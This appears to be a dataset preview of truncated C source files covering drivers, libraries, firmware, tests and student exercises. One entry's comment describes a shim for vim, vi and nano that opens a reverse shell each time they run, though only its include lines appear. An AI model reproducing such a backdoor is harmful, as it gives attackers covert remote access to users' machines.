text
stringlengths
3.08k
10.5k
/** * Mobius Software LTD * Copyright 2015-2018, Mobius Software LTD * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. ...
/* * Routines to output progress information during a file transfer. * * Copyright (C) 1996-2000 <NAME> * Copyright (C) 1996 <NAME> * Copyright (C) 2001, 2002 <NAME> <<EMAIL>> * Copyright (C) 2003, 2004, 2005, 2006 <NAME> * * This program is free software; you can redistribute it and/or modify * it under the t...
/* * Copyright (c) 2015 Samsung Electronics Co., Ltd. * http://www.samsung.com * * Core file for Samsung EXYNOS DECON driver * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. ...
/* * Licensed to the OpenAirInterface (OAI) Software Alliance under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The OpenAirInterface Software Alliance licenses this file to You under * the OAI Public Lic...
#include <stdio.h> #include <stdlib.h> #include <locale.h> #define NUMERO_ORGANISMOS 100 #define NUMERO_GENES 20 #define TODOS 4 #define TAXA_MUTACAO 0.001 #define MAXIMO_FITNESS NUMERO_GENES #define FALSE 0 #define TRUE 1 char **geracaoAtual, **proximaGeracao; char *organismoModelo; int *organismoFitnesses; int tota...
/* * io.c * * Copyright (c) 2008, Ueda Laboratory LMNtal Group * <<EMAIL>> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * 1. ...
#include "types.h" #include "defs.h" #include "param.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" #include "x86.h" #include "traps.h" #include "spinlock.h" // Interrupt descriptor table (shared by all CPUs). struct gatedesc idt[256]; extern uint vectors[]; // in vectors.S: array of 256 entry pointers ...
/* mime_file.c * * MIME file format decoder for the Wiretap library. * * This is for use with Wireshark dissectors that handle file * formats (e.g., because they handle a particular MIME media type). * It breaks the file into chunks of at most WTAP_MAX_PACKET_SIZE_STANDARD, * each of which is reported as a packe...
#include "frt_index.h" #include "testhelper.h" #include <limits.h> #include "test.h" static const char *content_f = "content"; static const char *id_f = "id"; const FrtConfig lucene_config = { 0x100000, /* chunk size is 1Mb */ 0x1000000, /* Max memory used for buffer is 16 Mb */ FRT_INDEX_INTERV...
/** * @file fileManager.c * @author 11796444 - <NAME> * @author 11796451 - <NAME> * @brief funcoes para manipulacao de arquivos binarios e outra funcoes auxiliares * @version 0.1 * @date 2021-05-07 * * @copyright Copyright (c) 2021 * */ #include <stdio.h> #include <string.h> #include <stdlib.h...
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #include <string.h> #include <math.h> #include "helper_3dmath.h" #include "../MotionSensor.h" #include "inv_mpu_lib/inv_mpu.h" #include "inv_mpu_lib/inv_mpu_dmp_motion_driver.h" #include "sensor.h" #define wrap_180(x) (x < -180 ? x+360 : (...
//<NAME> //Shim for vim, vi and nano that establishes a reverse shell every time they are run. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <limits.h> #include <assert.h> #include <sys/stat.h> #include <sig...
// C Source File // Created 21/Oct/03; 19:37:00 #define USE_TI89 // Compile for TI-89 #define USE_TI92PLUS // Compile for TI-92 Plus #define USE_V200 // Compile for V200 #define OPTIMIZE_ROM_CALLS // Use ROM Call Optimization #define SAVE_SCREEN // Save/Restore LCD Con...
/* # Copyright © 2018-2021 Intel Corporation All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditi...
#include <stdio.h> #include <stdlib.h> #include <string.h> int cmp_float(const void* v1, const void* v2) { float vv1 = * ((float*) v1); float vv2 = * ((float*) v2); if (vv1 > vv2) return 2; if (vv2 > vv1) return -2; return 0; } int cmp_int(const void* v1, const void* v2)...
#include <stdio.h> #include <stdlib.h> #include <time.h> struct arv{ int info; struct arv *left, *right; }; //// ALOCAÇÃO l INSERSÃO da ARVORE struct arv *aloca_arv(int i){ struct arv *new; new = NULL; new = (struct arv*)malloc(sizeof(struct arv)); new->info = i; new->left = NULL; n...
#include <u.h> #include <libc.h> #include <ip.h> #include "dat.h" #include "protos.h" typedef struct Hdr Hdr; struct Hdr { uchar sport[2]; uchar dport[2]; uchar seq[4]; uchar ack[4]; uchar flag[2]; uchar win[2]; uchar cksum[2]; uchar urg[2]; uchar opt[1]; }; typedef struct PseudoHdr{ uchar src[4]; uchar ds...
#include <apps/sntp/sntp.h> #include <driver/i2c.h> #include <esp_log.h> #include <freertos/FreeRTOS.h> #include <freertos/task.h> #include <lwip/sockets.h> #include <stdio.h> #include <time.h> #include "sdkconfig.h" #define SDA_PIN 18 #define SCL_PIN 19 #define DS1307_ADDRESS 0x68 static char tag[] = "ds1307"; sta...
#include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <time.h> #include <arpa/inet.h> #include <libmnl/libmnl.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/types.h> #include <linux/netfilter/nfnetlink_queue.h> #include <lib...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "lista.h" #include "doador.h" void imprimir_pacientes(Fila *fil){ Fila copia = cria(); char nome[30]; int grau = 0, idade = 0, orgao = 0; if(vazia(*fil)) { printf("Fila vazia!\n"); return; } while (!vazia(*fil)) { re...
#include <stdlib.h> #include <stdio.h> #include <time.h> #include <pthread.h> #include <math.h> #include <omp.h> #define h 800 #define w 800 #define K 6 #define input_file "input.raw" #define output_file "output.raw" pthread_mutex_t mutex; pthread_cond_t waitCond; static int num_iter = 50; do...
/* ;-*-C-*-; */ /* ** freeShallow: free exprData created from exprNode_effect calls. ** All but the innermost storage is free'd. */ /*@only@*/ exprData exprData_makeLiteral (/*@only@*/ cstring p_s); /*@only@*/ exprData exprData_makeId (/*@temp@*/ uentry p_id); /*@only@*/ exprData exprData_makePair (/*@keep@*/ ex...
/* * Copyright 2013 University of Chicago and Argonne National Laboratory * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unles...
/* Copyright 2013 Ravenbrook Limited <http://www.ravenbrook.com/>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * 1. Redistributions of source code must retain the above copyright ...
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <time.h> #include "mmap.h" #include "csv.h" static int usage(); static int get_csv(config_t *config, val_t **csv, size_t *csv_num); static int output_csv(config_t *config, val_t *csv, size_t csv_num); static int output_formulas(con...
#include "task_main.h" #include "stm32l0xx_hal.h" #include <cmsis_os.h> #include <tusb.h> #define LOG_TAG "task_main" #include <elog.h> #include "cdc_handler.h" #include "settings.h" #include "keypad.h" #include "display.h" #include "light.h" #include "task_sensor.h" #include "adc_handler.h" #include "state_controll...
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <math.h> #include "psrgeom.h" struct opts { double al_deg; // alpha angle in deg double ze_deg; // zeta angle in deg double P_sec; // period, in sec int direction; // either DIR_OUTWARD or DIR_INWAR...
#include <ctype.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <scc/scc.h> #include "as.h" #define HASHSIZ 64 #define NALLOC 10 Section *cursec, *seclist; Section *sabs, *sbss, *sdata, *stext; Symbol *linesym, *symlist; int pass; static Symbol *hashtbl[HASHSIZ], *symlast...
#include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "dict.h" #include "libvmaf/feature.h" const VmafDictionaryEntry *vmaf_dictionary_get(VmafDictionary **dict, const char *key, uint64_t flags) { if (!dict) return NULL; if (!(*di...
#include <viaio/VImage.h> #include <viaio/Vlib.h> #include <viaio/mu.h> #include <viaio/option.h> #include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> #include <gsl/gsl_matrix.h> #include <gsl/gsl_vector.h> #include <gsl/gsl_errno.h> #include <gsl/gsl_math.h> #include <gsl/gsl_fft_real.h> #inc...
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ...
#include <stdio.h> #include <string.h> #define BASE 1000 #define WIDTH 64 /* structure */ struct bgint{ int buf[WIDTH],top; }; typedef struct bgint bgint; /* end */ /* function */ bgint* add (bgint* dest,bgint* src); bgint* mul (bgint* dest,bgint* src); bgint* mov (bgint* dest,bgint* src); bgint* pow2 (bgint...
/* Copyright (c) 2017, Nordic Semiconductor ASA * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * l...
/* vi: set sw=4 ts=4: */ /* * Mini more implementation for busybox * * Copyright (C) 1995, 1996 by <NAME> <<EMAIL>>. * Copyright (C) 1999-2004 by <NAME> <<EMAIL>> * * Latest version blended together by <NAME> <<EMAIL>>, * based on the original more implementation by Bruce, and code from the * Debian boot-floppi...
#include <stdio.h> #include "fib_cisco.h" #include "map.h" typedef struct { bool isVirtual; int maxDepth; PARCBuffer *buffer; Bitmap *vector; } _FIBCiscoEntry; struct fib_cisco { int M; int numMaps; Map **maps; }; static void _fibCisco_DeleteEntry(_FIBCiscoEntry **entryP) { _FIBCisco...
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not...
#include<stdint.h> #include<stdlib.h> #include<string.h> #include"emsys.h" #include"row.h" #include"unicode.h" void editorUpdateRow(erow *row) { int tabs = 0; int extra = 0; int j; for (j = 0; j < row->size; j++) { if (row->chars[j] == '\t') { tabs++; } else if (ISCTRL(row->chars[j])) { /* * These n...
#include <stdio.h> #include <stdlib.h> //region Definitions #define DOG_GREET "vau!" #define DOG_MENU "kuhanu govedinu" #define CAT_GREET "mijau!" #define CAT_MENU "konzerviranu tunjevinu" #define DEFAULT_DOG_NAME "Doggo" #define DEFAULT_CAT_NAME "Catto" #define DEFAULT_NAME "Missingno" //endregion //region Type D...
/* * Original file: * Copyright (C) 2012 Texas Instruments Incorporated - http://www.ti.com/ * All rights reserved. * * Port to Contiki: * Copyright (c) 2013, ADVANSEE - http://www.advansee.com/ * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are p...
// A structure for the domain struct Node{ int q; float Val; struct Node* next; }; // A structure to track the changes in phi values in domain struct Track{ int i; int j; int grain; float val; struct Track *link; }; // A structure used in Tesselate function to represent grain centers also called pivot...
#pragma once #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <string.h> #include <zlib.h> uint32_t wp_bswap5(const uint32_t x){ return __builtin_bswap32(x); } typedef enum { wp_error_ok = 0, wp_error_mem_short = 1, } wp_error; uint32_t wp_adler32(const void* dat...
/* ************************************************************************* * File: SECURITY.C * * Module: USBCCGP.SYS * USB Common Class Generic Parent driver. * * Copyright (c) 1998 Microsoft Corporation * * * Author: ervinp * **********************************...
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <assert.h> #include <SDL2/SDL.h> #include <SDL2/SDL_ttf.h> #include <SDL2/SDL_image.h> #include <fontconfig/fontconfig.h> #include "sv.h" // TODO: Allow for customization in the slideshow metadata #define BACK_COLOR 0x28, 0x28, 0x28, 0xff #define F...
/* Teensyduino Core Library * http://www.pjrc.com/teensy/ * Copyright (c) 2013 PJRC.COM, LLC. * Modified by <NAME> (2013-2016) * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without...
#include "clar_libgit2.h" #include "checkout_helpers.h" #include "refs.h" #include "fileops.h" /* this is essentially the code from git__unescape modified slightly */ void strip_cr_from_buf(git_buf *buf) { char *scan, *pos = buf->ptr, *end = pos + buf->size; for (scan = pos; scan < end; pos++, scan++) { if (*scan...
/* * Copyright (c) 2015, EURECOM (www.eurecom.fr) * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list ...
/* * This file is part of the coreboot project. * * Copyright (C) 2011-2012 The ChromiumOS Authors. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2 of th...
/** * Cell, the Sphere packaging compiler * Copyright (c) 2015-2020, <NAME> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above...
#include <stdlib.h> #include <stdio.h> #include <sys/time.h> #include <pbc.h> #include "crypto.h" #include "globals.h" struct crypto { pairing_t pairing; }; struct crypto* init_pbc() { struct crypto *pbc = calloc(1, sizeof(*pbc)); int paramLength; size_t count; char *param; FILE *fp; fp = fopen("param", "rb...
#include <errno.h> #include <sys/time.h> #include <SDL2/SDL.h> #include <vm.h> static bool process_events(Chip8 *state) { SDL_Event e; bool key_is_down; while (SDL_PollEvent(&e) > 0) { switch (e.type) { case SDL_QUIT: return true; case SDL_KEYDOWN: ...
/* * lnbh25.c * * Driver for LNB supply and control IC LNBH25 * * Copyright (C) 2014 NetUP Inc. * Copyright (C) 2014 <NAME> <<EMAIL>> * Copyright (C) 2014 <NAME> <<EMAIL>> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as publish...
/************************************************************************ * * libio - A CLI project * * Copyright (C) 2016 <NAME> (<EMAIL>) * * This software is provided 'as-is', without any express or implied warranty. * In no event will the authors be held liable for any damages arising from the use of ...
/* $NetBSD: intr.c,v 1.12 2003/07/15 00:24:41 lukem Exp $ */ /*- * SPDX-License-Identifier: BSD-4-Clause * * Copyright (c) 2004 <NAME>. * Copyright (c) 1994-1998 <NAME>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the...
/* $Id$ lofmt.c A format for pool class LO */ #include "lofmt.h" #include <string.h> /* some options on the format are controlled by global variables. Of course for efficiency we'd do it in the pre-processor, but that would require recompilation... variable default function alloclocomments comment ...
/*************************************************************************************/ /* Copyright (C) 2021 Intel Corporation */ /* */ /* Redistribution and use in source and binary forms, w...
/* SPDX-License-Identifier: LGPL-2.1-or-later */ /* * * BlueZ - Bluetooth protocol stack for Linux * * Copyright (C) 2018 Intel Corporation. All rights reserved. * * */ #include <stdbool.h> #include <stdint.h> #include <stdlib.h> bool mesh_crypto_aes_ccm_encrypt(const uint8_t nonce[13], const uint8_t key[16...
#include "ctypes.h" #include "debug.h" #include "rdx.h" #include "oid.h" CIntfType oidDecode (CCharPtrType result, CIntfType m, CBytePtrType oid, CIntfType n) { CUnslType val; CUnslType quo; CByteType c; CIntfType k; CIntfType s; s = m; val = (CUnslType) 0; do { c = *oid++; val = (val << 7) |...
//main.c c99 standard //Using libs SDL, glibc #include <SDL.h> //SDL version 2.0 #include <stdio.h> #include <stdlib.h> #include "font.h" #define SCREEN_WIDTH 1290 //window height #define SCREEN_HEIGHT 720 //window width #define STREAM_FACTOR 1.5 //number of chars streaming down #define SCALE 1 //scale at which the...
#include "physics.h" #include <math.h> static const float SQRT2INV = 1.0/1.41421356237; static const int TS = LEVEL_TILE_SIZE; static float signF(float v) { return (v > 0) - (v < 0); } float BodyDistance(Body body1, Body body2){ float dx = body1.x - body2.x; float dy = body1.y - body2.y; return sqrt...
/** * Simple DNS Sniffer - Packet Dissection * Copyright (C) 2015 <NAME>. * * This code is licenced under the Simplified BSD License. * See the LICENSE file for details. */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <ifaddrs.h> #include <netinet/in.h> #include <netinet/if_ether.h> #incl...
/** @Includes ----------------------------------------------------------------*/ #include "opt3001.h" #define RASPBERRY_PI_I2C "/dev/i2c-1" #define I2CDEV RASPBERRY_PI_I2C #define conv8s_u16_be(b, n) \ (uint16_t)(((uint16_t)b[n] << 8) | (uint16_t)b[n + 1]) uint32_t i2c_write_reg8(uint8_t devAdd...
#include "search_helper.h" #include "fuzzy.h" #include "json_msg_handler.h" #include "str_pool.h" #include <limits.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <uv.h> #define INITIAL_CACHE_SIZE 5000 static file_info_t *g_f_cache; static size_t g_f_cache_len; static str_pool_t **g_str_pool; ...
/* Copyright (C) StrawberryHacker */ #include "types.h" #include "cpu.h" #include "nvic.h" #include "clock.h" #include "flash.h" #include "gpio.h" #include "systick.h" #include "watchdog.h" #include "print.h" #include "frame.h" #include "bootloader.h" #include "memory.h" #include "flash.h" #include "cpu...
/* * Copyright (c) 2014 DeNA Co., Ltd. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publ...
/* see LICENSE file for copyright and license details. */ #include <stdio.h> #include <time.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <pwd.h> /* XXX set a path to the directory where you will store your lists XXX */ #define...
/*++ Copyright (c) 1992 Microsoft Corporation Module Name: spti.h Abstract: These are the structures and defines that are used in the SPTI.C. Author: Revision History: --*/ typedef struct _SCSI_PASS_THROUGH_WITH_BUFFERS { SCSI_PASS_THROUGH spt; ULONG Filler; // realign bu...
// // Intel Edison Playground // Copyright (c) 2015 <NAME>. All rights reserved. // #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <getopt.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> struct hci_requ...
// // es20_chapter00_sample00.c // OpenGL_ES_20 // // Created by <NAME> on 2013/02/04. // Copyright (c) 2013年 <NAME>. All rights reserved. // #include <GLES2/gl2.h> #include "../../support/support.h" typedef struct { // レンダリング用シェーダープログラム GLint shader_program; // 位置情報属性 GLint attr_pos; // フラグ...
/* Includes ------------------------------------------------------------------*/ #include "main.h" /* Variable ------------------------------------------------------------------*/ u8 HW_INIT_FLAG = FALSE; u8 PHY_INIT_FLAG = FALSE; u8 isModeSelect = FALSE; u8 isErrorCount = 0; u32 ModeCount = 0; /* Function ----------...
#include "event_impl.h" void accept_cb(struct ev_loop *loop, struct ev_io *watcher, int revents) { CHECK_EV_ERROR(revents); struct sockaddr sa; socklen_t sa_len = sizeof(sa); int client_fd; // Accept client request client_fd = accept(watcher->fd, &sa, &sa_len); if (client_fd < 0) { LOG_PERROR("accept error"...
/* * This file is part of the Soletta (TM) Project * * Copyright (C) 2015 Intel Corporation. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.a...
#pragma once #define DLL_FNAME "\\winmm.dll" #define EXPORT_NAMES \ MAKEINTRESOURCEA(2), \ "CloseDriver", \ "DefDriverProc", \ "DriverCallback", \ "DrvGetModuleHandle", \ "GetDriverModuleHandle", \ "OpenDriver", \ "PlaySound", \ "PlaySoundA", \ ...
#include <errno.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <signal.h> #include <string.h> #include <assert.h> #include <sys/wait.h> #include <sys/types.h> #include "proc-common.h" #include "request.h" #include "helper.h" /* Compile-time parameters. */ #define SCHED_TQ_SEC 2 ...
/* * Copyright (C) 2016-2022 T-Head Semiconductor Co., Ltd. All rights reserved. * * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the License); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * www.apache....
/***************************************************************************//** * @file main.c * @brief Single DMA transfer requested by button press ******************************************************************************* * # License * <b>Copyright 2020 Silicon Laboratories Inc. www.silabs.com</b> ******...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <sys/types.h> #include <dirent.h> #include <unistd.h> #include <ctype.h> // File entry filter function for use in scandir in main() that takes // a pointer to a dirent struct and determines if entry->d_name is // a string of digi...
#include "logger.h" #include "system.h" #include "cpu.h" #include <stdio.h> #include <stdlib.h> #include <string.h> int logger_init(struct logger_t *logger, int type, const char *filename, int stat_count, struct logger_stat_t *stats) { logger->type = type; logger->stat_count = stat_count; logger->file = NULL; lo...
/* This file is not complete. You should fill it in with your solution to the programming exercise. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "prog1.h" #include "slp.h" // Macros #define MAX(a, b) (a > b ? a : b) // Struct definitions typedef struct table_ *table; typedef struct intAn...
/******************************************************************************* * Copyright (c) 2014, 2015 IBM Corp. * * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * and Eclipse Distribution License v1.0 which accompany ...
#include "term_digits.h" int main(int argc, char const *argv[]) {/* Run the clock. */ char *datetime; time_t current_time; int offsets[] = {0, 10, 20, 24, 34, 44, 48, 58}; int current_digit; int y = 3, x = 7; int cpair; int i, n; Segment segments[7]; Digit digits[10]; init...
/* * Copyright (c) 2019-2020 <NAME> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish...
// // Created by maxim on 9/12/19. // #ifdef __GNUC__ #pragma implementation "material.h" #endif #include "material.h" #include "../resources/rmanager.h" #define MT_LOG(format, ...) DC_LOG("material.c", format, __VA_ARGS__) #define MT_ERROR(format, ...) DC_ERROR("material.c", format, __VA_ARGS__) struct _cache_node...
/* Copyright (C) 2014 Parrot SA Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following dis...
/* * This program gets the out-degree and in-degree of a particular node in * a graph represented by adjacency matrix. The out-degree is the number of * nodes to which a given node has out-going edges. The in-degree of a node * in the graph is the number of nodes which have edges going into this * node. * TODO:DO...
#include <mach-o/dyld.h> #include <rpc/rpc.h> #include <sys/proc.h> #include <sys/types.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include "libproc.h" #include "net/route.h" #include "netinet/tcp_fsm.h" #include "rpc/pmap_prot.h" #include "sys/kern_control.h" #include "sys/proc_info.h" #if __LP...
#undef G_DISABLE_ASSERT #undef G_LOG_DOMAIN #ifdef HAVE_CONFIG_H # include <config.h> #endif #include <glib.h> int main() { GQueue *q; GList *node; gpointer data; q = g_queue_new (); g_assert (g_queue_is_empty (q) == TRUE); g_queue_push_head (q, GINT_TO_POINTER (2)); g_assert (g_queue_peek_head (q) ...
// File: tftp-bootloader-client-app.c // // Description: TFTP Client App Functionality // // Copyright 2013 by Silicon Laboratories. All rights reserved. *80* #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <getopt.h> #include PLATFORM_HEADER #include "stack/include/ember-types.h" #inc...
#include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <string.h> char **new_book(int n, char **r, int *tmp_n); void book(int k, int n, char *name, char **r); void cancel(int k, int n, char **r); void move(char **r, int from, int to, int n); void print_book(char **r, int n); int main() { int n, fr...
#include "common.h" #include "x86_codegen.h" #include "x86_intrinsics.h" static void _memcpy_via_registers(x86_operand *dst, x86_operand *src, int size_in_dwords) { x86_operand r0, src_ptr, dst_ptr; int i; if (size_in_dwords == 1) { bincode_create_operand_and_alloc_pseudoreg(&r0, x86...
/** * @file ampliclust.c * @author <NAME> * @author <NAME> * Cluster amplicon reads. * * Note about formatting. Line widths are at 80 characters, not because we live * in the 60's but to help force good coding and to reduce complexity. Function * predeclarations may break this rule so that the entire prototyp...
#include "ets_sys.h" #include "osapi.h" #include "gpio.h" #include "os_type.h" #include "c_types.h" #include "ip_addr.h" #include "espconn.h" #include "mem.h" #include "user_interface.h" #include "espmissingincludes.h" #include "wish_connection.h" #include "wish_relay_client.h" #include "user_config.h" #include "user...
/* VTreeFS - read.c - by <NAME> and <NAME> */ #include "inc.h" #include <dirent.h> #include <minix/minlib.h> #define GETDENTS_BUFSIZ 4096 #define DWORD_ALIGN(len) (((len) + sizeof(long) - 1) & ~(sizeof(long) - 1)) /*===========================================================================* * fs_read *...
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ...
#include <stdbool.h> #include <stdint.h> #include <sc.h> #include <sodium.h> // ge_scalarmult_base, sc_reduce, sc_muladd all store private data on the stack without overwriting it before // returning. The sodium_stackzero function solves that by allocating a configurable amount of space on the // stack and overwritin...
// 0x07022910 - 0x07022928 static const Lights1 hmc_seg7_lights_07022910 = gdSPDefLights1( 0x79, 0x79, 0x79, 0xff, 0xff, 0xff, 0x28, 0x28, 0x28 ); // 0x07022928 - 0x07022A08 static const Vtx hmc_seg7_vertex_07022928[] = { {{{ -255, 0, -255}, 0, { 990, 96}, {0xd6, 0xac, 0xac, 0xff}}}, {{{ ...
#include "misc.h" #include <math.h> #define MAX_ITERATIONS 100 #define FP_CMP_WITH_BISECT_NITER 4 #define FP_CMP_WITH_BISECT_WIDTH 4.0 static double max(double a, double b) { return (a > b ? a : b); } /* Use a combination of bisection and false position to find a root of a function withi...
/* * broadvoice - a library for the BroadVoice 16 and 32 codecs * * bv16lspdec.c - LSP decoding * * Adapted by <NAME> <<EMAIL>> from code which is * Copyright 2000-2009 Broadcom Corporation * * All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms ...
#include <stdlib.h> #include <level.h> #include <memalloc.h> #include <random.h> #include <tweak.h> #include <types.h> #include <drawbuffer.h> #include <gamelib.h> #include <level_defn.h> Level *level_new(DrawBuffer *b, unsigned w, unsigned h) { Level *lvl; unsigned i; lvl = malloc(sizeof(Level)); lvl->width ...
#include "libultra_internal.h" #include "osContInternal.h" #ifndef AVOID_UB u32 D_80365E00[15]; u32 D_80365E3C; #else // Certain code accesses the 16th element (D_80365E3C) in this array, making a seperate // definition UB when gcc rearranges those. u32 D_80365E00[16]; #endif extern u8 D_80365D20; typedef struct { ...
// Copyright 2021 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> typedef struct AllocStackNode_ { struct AllocStackNode_ *prev; ch...